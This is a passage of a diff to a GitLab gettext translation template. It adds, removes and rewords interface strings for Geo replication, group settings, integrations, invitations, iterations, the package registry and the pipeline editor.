-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
